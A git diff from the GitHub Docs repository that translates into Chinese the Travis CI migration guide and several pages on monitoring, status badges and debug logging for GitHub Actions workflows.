+shortTitle: 从 Travis CI 迁移
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This guide helps you migrate from Travis CI to {% data variables.product.prodname_actions %}. It compares their concepts and syntax, describes the similarities, and demonstrates their different approaches to common tasks.
+本指南可帮助您从 Travis CI 迁移到 {% data variables.product.prodname_actions %}。 它会比较它们的概念和语法、描述相似之处，并演示了它们处理常见任务的不同方法。
 
-## Before you start
+## 开始之前
 
-Before starting your migration to {% data variables.product.prodname_actions %}, it would be useful to become familiar with how it works:
+在开始迁移到 {% data variables.product.prodname_actions %} 之前，熟悉其工作原理很有用：
 
-- For a quick example that demonstrates a {% data variables.product.prodname_actions %} job, see "[Quickstart for {% data variables.product.prodname_actions %}](/actions/quickstart)."
-- To learn the essential {% data variables.product.prodname_actions %} concepts, see "[Introduction to GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions)."
+- 有关演示 {% data variables.product.prodname_actions %} 作业的快速示例，请参阅“[{% data variables.product.prodname_actions %} 快速入门](/actions/quickstart)”。
+- 要了解 {% data variables.product.prodname_actions %} 的基本概念，请参阅“[GitHub Actions 简介](/actions/learn-github-actions/introduction-to-github-actions)”。
 
-## Comparing job execution
+## 比较作业执行
 
-To give you control over when CI tasks are executed, a {% data variables.product.prodname_actions %} _workflow_ uses _jobs_ that run in parallel by default. Each job contains _steps_ that are executed in a sequence that you define. If you need to run setup and cleanup actions for a job, you can define steps in each job to perform these.
+为让您控制 CI 任务何时执行，{% data variables.product.prodname_actions %} _工作流程_默认使用并行运行的_作业_。 每个作业包含按照您定义的顺序执行的_步骤_。 如果需要为作业运行设置和清理操作，可以在每个作业中定义执行这些操作的步骤。
 
-## Key similarities
+## 主要相似之处
 
-{% data variables.product.prodname_actions %} and Travis CI share certain similarities, and understanding these ahead of time can help smooth the migration process.
+{% data variables.product.prodname_actions %} 和 Travis CI 具有某些相似之处，提前了解这些相似之处有助于顺利迁移过程。
 
 ### Using YAML syntax
 
-Travis CI and {% data variables.product.prodname_actions %} both use YAML to create jobs and workflows, and these files are stored in the code's repository. For more information on how {% data variables.product.prodname_actions %} uses YAML, see ["Creating a workflow file](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)."
+Travis CI 和 {% data variables.product.prodname_actions %} 同时使用 YAML 创建作业和工作流程，并且这些文件存储在代码仓库中。 有关 {% data variables.product.prodname_actions %} 如何使用 YAML的更多信息，请参阅“[创建工作流程文件](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)”。
 
-### Custom environment variables
+### 自定义环境变量
 
-Travis CI lets you set environment variables and share them between stages. Similarly, {% data variables.product.prodname_actions %} lets you define environment variables for a step, job, or workflow. For more information, see ["Environment variables](/actions/reference/environment-variables)."
+Travis CI 允许您设置环境变量并在各个阶段之间共享它们。 同样，{% data variables.product.prodname_actions %} 允许您为步骤、作业或工作流程定义环境变量。 更多信息请参阅“[环境变量](/actions/reference/environment-variables)”。
 
-### Default environment variables
+### 默认环境变量
 
-Travis CI and {% data variables.product.prodname_actions %} both include default environment variables that you can use in your YAML files. For {% data variables.product.prodname_actions %}, you can see these listed in "[Default environment variables](/actions/reference/environment-variables#default-environment-variables)."
+Travis CI 和 {% data variables.product.prodname_actions %} 都包括可以在 YAML 文件中使用的默认环境变量。 对于 {% data variables.product.prodname_actions %}，您可以在“[默认环境变量](/actions/reference/environment-variables#default-environment-variables)”中查看这些变量。
 
-### Parallel job processing
+### 并行作业处理
 
-Travis CI can use `stages` to run jobs in parallel. Similarly, {% data variables.product.prodname_actions %} runs `jobs` in parallel. For more information, see "[Creating dependent jobs](/actions/learn-github-actions/managing-complex-workflows#creating-dependent-jobs)."
+Travis CI 可以使用 `stages` 并行运行作业。 同样，{% data variables.product.prodname_actions %} 也可以并行运行 `jobs`。 更多信息请参阅“[创建依赖的作业](/actions/learn-github-actions/managing-complex-workflows#creating-dependent-jobs)”。
 
-### Status badges
+### 状态徽章
 
-Travis CI and {% data variables.product.prodname_actions %} both support status badges, which let you indicate whether a build is passing or failing.
-For more information, see ["Adding a workflow status badge to your repository](/actions/managing-workflow-runs/adding-a-workflow-status-badge)."
+Travis CI 和 {% data variables.product.prodname_actions %} 都支持状态徽章，用于表示构建是通过还是失败。 更多信息请参阅“[将工作流程状态徽章添加到仓库](/actions/managing-workflow-runs/adding-a-workflow-status-badge)”。
 
-### Using a build matrix
+### 使用构建矩阵
 
-Travis CI and {% data variables.product.prodname_actions %} both support a build matrix, allowing you to perform testing using combinations of operating systems and software packages. For more information, see "[Using a build matrix](/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix)."
+Travis CI和 {% data variables.product.prodname_actions %} 都支持构建矩阵，允许您使用操作系统和软件包的组合进行测试。 更多信息请参阅“[使用构建矩阵](/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix)”。
 
-Below is an example comparing the syntax for each system:
+下面是比较每个系统的语法示例：
 
 <table>
 <tr>
@@ -100,11 +99,11 @@ jobs:
 </tr>
 </table>
 
-### Targeting specific branches
+### 定向特定分支
 
-Travis CI and {% data variables.product.prodname_actions %} both allow you to target your CI to a specific branch. For more information, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestbranchestags)."
+Travis CI 和 {% data variables.product.prodname_actions %} 允许您将 CI 定向到特定分支。 更多信息请参阅“[GitHub Actions 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestbranchestags)”。
 
-Below is an example of the syntax for each system:
+下面是每个系统的语法示例：
 
 <table>
 <tr>
@@ -140,11 +139,11 @@ on:
 </tr>
 </table>
 
-### Checking out submodules
+### 检出子模块
 
-Travis CI and {% data variables.product.prodname_actions %} both allow you to control whether submodules are included in the repository clone.
+Travis CI 和 {% data variables.product.prodname_actions %} 都允许您控制子模块是否包含在仓库克隆中。
 
-Below is an example of the syntax for each system:
+下面是每个系统的语法示例：
 
 <table>
 <tr>
@@ -176,50 +175,50 @@ git:
 </tr>
 </table>
 
-### Using environment variables in a matrix
+### 在矩阵中使用环境变量
 
-Travis CI and {% data variables.product.prodname_actions %} can both add custom environment variables to a test matrix, which allows you to refer to the variable in a later step.
+Travis CI 和 {% data variables.product.prodname_actions %} 可以将自定义环境变量添加到测试矩阵，这可让您在后面的步骤中引用该变量。
 
-In {% data variables.product.prodname_actions %}, you can use the `include` key to add custom environment variables to a matrix. {% data reusables.github-actions.matrix-variable-example %}
+在 {% data variables.product.prodname_actions %}中，您可以使用 `include` 键将自定义环境变量添加到矩阵中。 {% data reusables.github-actions.matrix-variable-example %}
 
-## Key features in {% data variables.product.prodname_actions %}
+## {% data variables.product.prodname_actions %} 中的关键功能
 
-When migrating from Travis CI, consider the following key features in {% data variables.product.prodname_actions %}:
+从 Travis CI 迁移时，请考虑 {% data variables.product.prodname_actions %} 中的以下关键功能：
 
-### Storing secrets
+### 存储密码
 
-{% data variables.product.prodname_actions %} allows you to store secrets and reference them in your jobs. {% data variables.product.prodname_actions %} organizations can limit which repositories can access organization secrets. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Environment protection rules can require manual approval for a workflow to access environment secrets. {% endif %}For more information, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+{% data variables.product.prodname_actions %} 允许您存储密码并在作业中引用它们。 {% data variables.product.prodname_actions %} 组织可以限制哪些仓库能够访问组织机密。 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}环境保护规则可能需要手动批准工作流程才能访问环境秘密。 {% endif %}更多信息请参阅“[加密密码](/actions/reference/encrypted-secrets)”。
 
-### Sharing files between jobs and workflows
+### 在作业和工作流程之间共享文件
 
-{% data variables.product.prodname_actions %} includes integrated support for artifact storage, allowing you to share files between jobs in a workflow. You can also save the resulting files and share them with other workflows. For more information, see "[Sharing data between jobs](/actions/learn-github-actions/essential-features-of-github-actions#sharing-data-between-jobs)."
+{% data variables.product.prodname_actions %} 包括对构件存储的集成支持，允许您在工作流程中的作业之间共享文件。 您还可以保存生成的文件，并与其他工作流程共享它们。 更多信息请参阅“[在作业之间共享数据](/actions/learn-github-actions/essential-features-of-github-actions#sharing-data-between-jobs)”。
 
-### Hosting your own runners
+### 托管您自己的运行器
 
-If your jobs require specific hardware or software, {% data variables.product.prodname_actions %} allows you to host your own runners and send your jobs to them for processing. {% data variables.product.prodname_actions %} also lets you use policies to control how these runners are accessed, granting access at the organization or repository level. For more information, see ["Hosting your own runners](/actions/hosting-your-own-runners)."
+如果您的作业需要特定的硬件或软件，{% data variables.product.prodname_actions %} 允许您托管自己的运行器，并将其作业发送给它们进行处理。 {% data variables.product.prodname_actions %} 还允许您使用策略来控制访问这些运行器的方式，在组织或仓库级别授予访问权限。 更多信息请参阅“[托管您自己的运行器](/actions/hosting-your-own-runners)”。
 
 {% ifversion fpt or ghec %}
 
-### Concurrent jobs and execution time
+### 并行作业和执行时间
 
-The concurrent jobs and workflow execution times in {% data variables.product.prodname_actions %} can vary depending on your {% data variables.product.company_short %} plan. For more information, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration)."
+{% data variables.product.prodname_actions %} 中的并行作业和工作流程执行时间因 {% data variables.product.company_short %} 计划而异。 更多信息请参阅“[使用限制、计费和管理](/actions/reference/usage-limits-billing-and-administration)”。
 
 {% endif %}
 
-### Using different languages in {% data variables.product.prodname_actions %}
+### 在 {% data variables.product.prodname_actions %} 中使用不同的语言
 
-When working with different languages in {% data variables.product.prodname_actions %}, you can create a step in your job to set up your language dependencies. For more information about working with a particular language, see the specific guide:
-  - [Building and testing Node.js or Python](/actions/guides/building-and-testing-nodejs-or-python)
-  - [Building and testing PowerShell](/actions/guides/building-and-testing-powershell)
-  - [Building and testing Java with Maven](/actions/guides/building-and-testing-java-with-maven)
-  - [Building and testing Java with Gradle](/actions/guides/building-and-testing-java-with-gradle)
-  - [Building and testing Java with Ant](/actions/guides/building-and-testing-java-with-ant)
+在 {% data variables.product.prodname_actions %} 中使用不同语言时，您可以在作业中创建步骤来设置语言依赖项。 有关使用特定语言的信息，请参阅特定指南：
+  - [构建并测试 Node.js 或 Python](/actions/guides/building-and-testing-nodejs-or-python)
+  - [构建和测试 PowerShell](/actions/guides/building-and-testing-powershell)
+  - [使用 Maven 构建和测试 Java](/actions/guides/building-and-testing-java-with-maven)
+  - [使用 Gradle 构建和测试 Java](/actions/guides/building-and-testing-java-with-gradle)
+  - [使用 Ant 构建和测试 Java](/actions/guides/building-and-testing-java-with-ant)
 
-## Executing scripts
+## 执行脚本
 
-{% data variables.product.prodname_actions %} can use `run` steps to run scripts or shell commands. To use a particular shell, you can specify the `shell` type when providing the path to the script. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+{% data variables.product.prodname_actions %} 可以使用 `run` 步骤运行脚本或 shell 命令。 要使用特定的 shell，您可以在提供脚本路径时指定 `shell` 类型。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)”。
 
-For example:
+例如：
 
 ```yaml
 steps:
@@ -228,23 +227,23 @@ steps:
     shell: bash
 ```
 
-## Error handling in {% data variables.product.prodname_actions %}
+## {% data variables.product.prodname_actions %} 中的错误处理
 
-When migrating to {% data variables.product.prodname_actions %}, there are different approaches to error handling that you might need to be aware of.
+迁移到 {% data variables.product.prodname_actions %} 时，可能需要注意不同的错误处理方法。
 
-### Script error handling
+### 脚本错误处理
 
-{% data variables.product.prodname_actions %} stops a job immediately if one of the steps returns an error code. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference)."
+如果其中一个步骤返回错误代码，{% data variables.product.prodname_actions %} 将立即停止作业。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference)”。
 
-### Job error handling
+### 作业错误处理
 
-{% data variables.product.prodname_actions %} uses `if` conditionals to execute jobs or steps in certain situations. For example, you can run a step when another step results in a `failure()`. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#example-using-status-check-functions)."  You can also use [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) to prevent a workflow run from stopping when a job fails.
+{% data variables.product.prodname_actions %} 使用 `if` 条件在特定情况下执行作业或步骤。 例如，您可以在某个步骤导致 `failure()` 时运行另一个步骤。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#example-using-status-check-functions)”。  您也可以使用 [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) 防止工作流程在作业失败时停止运行。
 
-## Migrating syntax for conditionals and expressions
+## 迁移条件和表达式的语法
 
-To run jobs under conditional expressions, Travis CI and {% data variables.product.prodname_actions %} share a similar `if` condition syntax. {% data variables.product.prodname_actions %} lets you use the `if` conditional to prevent a job or step from running unless a condition is met. For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+要在条件表达式下运行作业，Travis CI 和 {% data variables.product.prodname_actions %} 具有类似的 `if` 条件语法。 {% data variables.product.prodname_actions %} 允许您使用 `if` 条件使作业或步骤仅在满足条件时才运行。 For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
 
-This example demonstrates how an `if` conditional can control whether a step is executed:
+此示例演示 `if` 条件如何控制是否执行步骤：
 
 ```yaml
 jobs:
@@ -255,11 +254,11 @@ jobs:
         if: env.str == 'ABC' && env.num == 123
 ```
 
-## Migrating phases to steps
+## 将阶段迁移到步骤
 
-Where Travis CI uses _phases_ to run _steps_, {% data variables.product.prodname_actions %} has _steps_ which execute _actions_. You can find prebuilt actions in the [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions), or you can create your own actions. For more information, see "[Building actions](/actions/building-actions)."
+其中 Travis CI 使用_阶段_来运行_步骤_，{% data variables.product.prodname_actions %} 具有_步骤_来执行_操作_。 您可以在 [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions) 中找到预建的操作，也可以创建自己的操作。 更多信息请参阅“[创建操作](/actions/building-actions)”。
 
-Below is an example of the syntax for each system:
+下面是每个系统的语法示例：
 
 <table>
 <tr>
@@ -301,9 +300,9 @@ jobs:
 </tr>
 </table>
 
-## Caching dependencies
+## 缓存依赖项
 
-Travis CI and {% data variables.product.prodname_actions %} let you manually cache dependencies for later reuse. This example demonstrates the cache syntax for each system.
+Travis CI 和 {% data variables.product.prodname_actions %} 可让您手动缓存依赖供以后使用。 此示例说明每个系统的缓存语法。
 
 <table>
 <tr>
@@ -338,15 +337,15 @@ cache: npm
 </tr>
 </table>
 
-{% data variables.product.prodname_actions %} caching is only applicable for repositories hosted on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+{% data variables.product.prodname_actions %} 缓存仅适用于 {% data variables.product.prodname_dotcom_the_website %} 托管的仓库。 更多信息请参阅“<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">缓存依赖项以加快工作流程</a>”。
 
-## Examples of common tasks
+## 常见任务示例
 
-This section compares how {% data variables.product.prodname_actions %} and Travis CI perform common tasks.
+本节比较了 {% data variables.product.prodname_actions %} 和 Travis CI 执行共同任务的方式。
 
-### Configuring environment variables
+### 配置环境变量
 
-You can create custom environment variables in a {% data variables.product.prodname_actions %} job. For example:
+您可以在 {% data variables.product.prodname_actions %} 作业中创建自定义环境变量。 例如：
 
 <table>
 <tr>
@@ -354,7 +353,7 @@ You can create custom environment variables in a {% data variables.product.prodn
 Travis CI
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+{% data variables.product.prodname_actions %} 工作流程
 </th>
 </tr>
 <tr>
@@ -379,7 +378,7 @@ jobs:
 </tr>
 </table>
 
-### Building with Node.js
+### 使用 Node.js 构建
 
 <table>
 <tr>
@@ -387,7 +386,7 @@ jobs:
 Travis CI
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+{% data variables.product.prodname_actions %} 工作流程
 </th>
 </tr>
 <tr>
@@ -425,6 +424,6 @@ jobs:
 </tr>
 </table>
 
-## Next steps
+## 后续步骤
 
-To continue learning about the main features of  {% data variables.product.prodname_actions %}, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+要继续了解 {% data variables.product.prodname_actions %} 的主要功能，请参阅“[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。
diff --git a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md
index 116c5b3072..e6f8e413ae 100644
--- a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md
+++ b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md
@@ -17,56 +17,56 @@ miniTocMaxHeadingLevel: 3
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-### Using the visualization graph
+### 使用可视化图表
 
-Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. For example:
+每个工作流程运行都会生成一个实时图表，说明运行进度。 您可以使用此图表来监控和调试工作流程。 例如：
 
-   ![Workflow graph](/assets/images/help/images/workflow-graph.png)
+   ![工作流程图表](/assets/images/help/images/workflow-graph.png)
 
-For more information, see "[Using the visualization graph](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)." 
+For more information, see "[Using the visualization graph](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)."
 
 {% endif %}
 
-### Adding a workflow status badge
+### 添加工作流程状态徽章
 
 {% data reusables.repositories.actions-workflow-status-badge-intro %}
 
-For more information, see "[Adding a workflow status badge](/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge)."
+更多信息请参阅“[添加工作流程状态徽章](/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge)”。
 
 {% ifversion fpt or ghec %}
-### Viewing job execution time
+### 查看作业执行时间
 
-To identify how long a job took to run, you can view its execution time. For example:
+To identify how long a job took to run, you can view its execution time. 例如：
 
-   ![Run and billable time details link](/assets/images/help/repository/view-run-billable-time.png)
+   ![运行和可计费时间详细信息链接](/assets/images/help/repository/view-run-billable-time.png)
 
-For more information, see "[Viewing job execution time](/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time)."
+更多信息请参阅“[查看作业执行时间](/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time)”。
 {% endif %}
 
-### Viewing workflow run history
+### 查看工作流程运行历史记录
 
-You can view the status of each job and step in a workflow. For example:
+You can view the status of each job and step in a workflow. 例如：
 
-   ![Name of workflow run](/assets/images/help/repository/run-name.png)
+   ![工作流程运行的名称](/assets/images/help/repository/run-name.png)
 
-For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)."
+更多信息请参阅“[查看工作流程运行历史记录](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)”。
 
 ## Troubleshooting your workflows
 
-### Using workflow run logs
+### 使用工作流程运行日志
 
-Each workflow run generates activity logs that you can view, search, and download. For example:
+Each workflow run generates activity logs that you can view, search, and download. 例如：
 
-   ![Super linter workflow results](/assets/images/help/repository/super-linter-workflow-results-updated-2.png)
+   ![Super linter 工作流程结果](/assets/images/help/repository/super-linter-workflow-results-updated-2.png)
 
-For more information, see "[Using workflow run logs](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs)."
+更多信息请参阅“[使用工作流程运行日志](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs)”。
 
-### Enabling debug logging
+### 启用调试日志
 
-If the workflow logs do not provide enough detail to diagnose why a workflow, job, or step is not working as expected, you can enable additional debug logging. For more information, see "[Enabling debug logging](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging)."
+如果工作流程日志没有提供足够的详细信息来诊断工作流程、作业或步骤未按预期工作的原因，您可以启用额外的调试日志。 更多信息请参阅“[启用调试日志记录](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging)”。
 
-## Monitoring and troubleshooting self-hosted runners
+## 自托管运行器的监控和故障排除
 
-If you use self-hosted runners, you can view their activity and diagnose common issues. 
+If you use self-hosted runners, you can view their activity and diagnose common issues.
 
-For more information, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)."
+更多信息请参阅“[自托管运行器监控和故障排除](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)”。
diff --git a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md
index c55f5363fd..aa00e46dbf 100644
--- a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md
+++ b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md
@@ -1,6 +1,6 @@
 ---
-title: Adding a workflow status badge
-intro: You can display a status badge in your repository to indicate the status of your workflows.
+title: 添加工作流程状态徽章
+intro: 您可以在您的仓库中显示状态徽章，以指示您的工作流程状态。
 redirect_from:
   - /actions/managing-workflow-runs/adding-a-workflow-status-badge
 versions:
@@ -8,7 +8,7 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Add a status badge
+shortTitle: 添加状态徽章
 ---
 
 {% data reusables.actions.enterprise-beta %}
@@ -16,31 +16,31 @@ shortTitle: Add a status badge
 
 {% data reusables.repositories.actions-workflow-status-badge-intro %}
 
-You reference the workflow by the name of your workflow file.
+您使用工作流程文件的名称来引用工作流程。
 
 ```markdown
 ![example workflow]({% ifversion fpt or ghec %}https://github.com{% else %}<HOSTNAME>{% endif %}/<OWNER>/<REPOSITORY>/actions/workflows/<WORKFLOW_FILE>/badge.svg)
 ```
-## Using the workflow file name
+## 使用工作流程文件名称
 
-This Markdown example adds a status badge for a workflow with the file path `.github/workflows/main.yml`. The `OWNER` of the repository is the `github` organization and the `REPOSITORY` name is `docs`.
+此 Markdown 示例为文件路径为 `.github/workflows/main.yml` 的工作流程添加状态徽章。 仓库的 `OWNER` 为 `github` 组织，`REPOSITORY` 名称为 `docs`。
 
 ```markdown
 ![example workflow](https://github.com/github/docs/actions/workflows/main.yml/badge.svg)
 ```
 
-## Using the `branch` parameter
+## 使用 `branch` 参数
 
-This Markdown example adds a status badge for a branch with the name `feature-1`.
+此 Markdown 示例为名为 `feature-1` 的分支添加状态徽章。
 
 ```markdown
 ![example branch parameter](https://github.com/github/docs/actions/workflows/main.yml/badge.svg?branch=feature-1)
 ```
 
-## Using the `event` parameter
+## 使用 `event` 参数
 
-This Markdown example adds a badge that displays the status of workflow runs triggered by the `pull_request` event.
+This Markdown example adds a badge that displays the status of workflow runs triggered by the `push` event, which will show the status of the build for the current state of that branch.
 
 ```markdown
-![example event parameter](https://github.com/github/docs/actions/workflows/main.yml/badge.svg?event=pull_request)
+![example event parameter](https://github.com/github/docs/actions/workflows/main.yml/badge.svg?event=push)
 ```
diff --git a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md
index faede007bc..c88c6e6701 100644
--- a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md
+++ b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling debug logging
-intro: 'If the workflow logs do not provide enough detail to diagnose why a workflow, job, or step is not working as expected, you can enable additional debug logging.'
+title: 启用调试日志
+intro: 如果工作流程日志没有提供足够的详细信息来诊断工作流程、作业或步骤未按预期工作的原因，您可以启用额外的调试日志。
 redirect_from:
   - /actions/managing-workflow-runs/enabling-debug-logging
 versions:
@@ -13,7 +13,7 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-These extra logs are enabled by setting secrets in the repository containing the workflow, so the same permissions requirements will apply:
+这些额外的日志将通过在包含工作流程的仓库中设置密码来启用，因此将应用相同的权限要求：
 
 - {% data reusables.github-actions.permissions-statement-secrets-repository %}
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
@@ -22,23 +22,23 @@ These extra logs are enabled by setting secrets in the repository containing the
 - {% data reusables.github-actions.permissions-statement-secrets-organization %}
 - {% data reusables.github-actions.permissions-statement-secrets-api %}
 
-For more information on setting secrets, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+有关设置密码的更多信息，请参阅“[创建和使用加密密码](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。
 
-## Enabling runner diagnostic logging
+## 启用运行程序诊断日志
 
-Runner diagnostic logging provides additional log files that contain information about how a runner is executing a job. Two extra log files are added to the log archive:
+Runner diagnostic logging provides additional log files that contain information about how a runner is executing a job. 两个额外的日志文件被添加到日志存档中：
 
-* The runner process log, which includes information about coordinating and setting up runners to execute jobs.
-* The worker process log, which logs the execution of a job.
+* 运行程序进程日志，其中包含关于如何协调和设置运行程序执行作业的信息。
+* 工作程序进程日志，用于记录作业执行情况。
 
-1. To enable runner diagnostic logging, set the following secret in the repository that contains the workflow: `ACTIONS_RUNNER_DEBUG` to `true`.
+1. 要启用运行程序诊断日志，请在包含工作流程的仓库中设置以下密码：将 `ACTIONS_RUNNER_DEBUG` 设置为 `true`。
 
-1. To download runner diagnostic logs, download the log archive of the workflow run. The runner diagnostic logs are contained in the `runner-diagnostic-logs` folder. For more information on downloading logs, see "[Downloading logs](/actions/managing-workflow-runs/using-workflow-run-logs/#downloading-logs)."
+1. 要下载运行程序诊断日志，请下载工作流程运行情况的日志存档。 运行程序诊断日志包含在 `runner-diagnostic-logs` 文件夹中。 关于下载日志的更多信息，请参阅“[下载日志](/actions/managing-workflow-runs/using-workflow-run-logs/#downloading-logs)”。
 
-## Enabling step debug logging
+## 启用步骤调试日志
 
-Step debug logging increases the verbosity of a job's logs during and after a job's execution.
+步骤调试日志增加了作业执行期间和执行之后的作业日志的详细程度。
 
-1. To enable step debug logging, you must set the following secret in the repository that contains the workflow: `ACTIONS_STEP_DEBUG` to `true`.
+1. 要启用步骤调试日志，必须在包含工作流程的仓库中设置以下密码：将 `ACTIONS_STEP_DEBUG` 设置为 `true`。
 
-1. After setting the secret, more debug events are shown in the step logs. For more information, see ["Viewing logs to diagnose failures"](/actions/managing-workflow-runs/using-workflow-run-logs/#viewing-logs-to-diagnose-failures).
+1. 设置密码后，步骤日志中会显示更多调试事件。 更多信息请参阅[“查看日志以诊断故障”](/actions/managing-workflow-runs/using-workflow-run-logs/#viewing-logs-to-diagnose-failures)。
diff --git a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/index.md b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/index.md
index 1c7b12c155..842f1d394a 100644
--- a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/index.md
+++ b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/index.md
@@ -1,6 +1,6 @@
 ---
 title: Monitoring and troubleshooting workflows
-shortTitle: Monitor & troubleshoot
+shortTitle: 监控和故障排除
 intro: 'You can view the status and results of each step in your workflow, debug a failed workflow, search and download logs, and view billable job execution minutes.'
 redirect_from:
   - /articles/viewing-your-repository-s-workflows
@@ -20,5 +20,6 @@ children:
   - /enabling-debug-logging
   - /notifications-for-workflow-runs
 ---
+
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md
index 862e2cca8d..05361c720a 100644
--- a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md
+++ b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md
@@ -1,12 +1,12 @@
 ---
-title: Notifications for workflow runs
+title: 工作流程运行通知
 intro: You can subscribe to notifications about workflow runs that you trigger.
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Notifications
+shortTitle: 通知
 ---
 
 {% data reusables.actions.enterprise-beta %}
diff --git a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md
index 1b11253aaf..5259749639 100644
--- a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md
+++ b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md
@@ -1,6 +1,6 @@
 ---
-title: Using the visualization graph
-intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows.
+title: 使用可视化图表
+intro: 每个工作流程运行都会生成一个实时图表，说明运行进度。 您可以使用此图表来监控和调试工作流程。
 redirect_from:
   - /actions/managing-workflow-runs/using-the-visualization-graph
 versions:
@@ -8,7 +8,7 @@ versions:
   ghes: '>=3.1'
